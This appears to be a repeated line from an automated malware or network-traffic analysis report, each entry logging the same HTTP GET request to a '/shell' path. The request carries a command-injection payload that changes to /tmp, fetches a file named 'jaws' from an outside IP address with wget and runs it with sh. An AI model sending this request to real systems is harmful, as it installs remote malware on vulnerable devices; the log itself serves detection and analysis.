Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
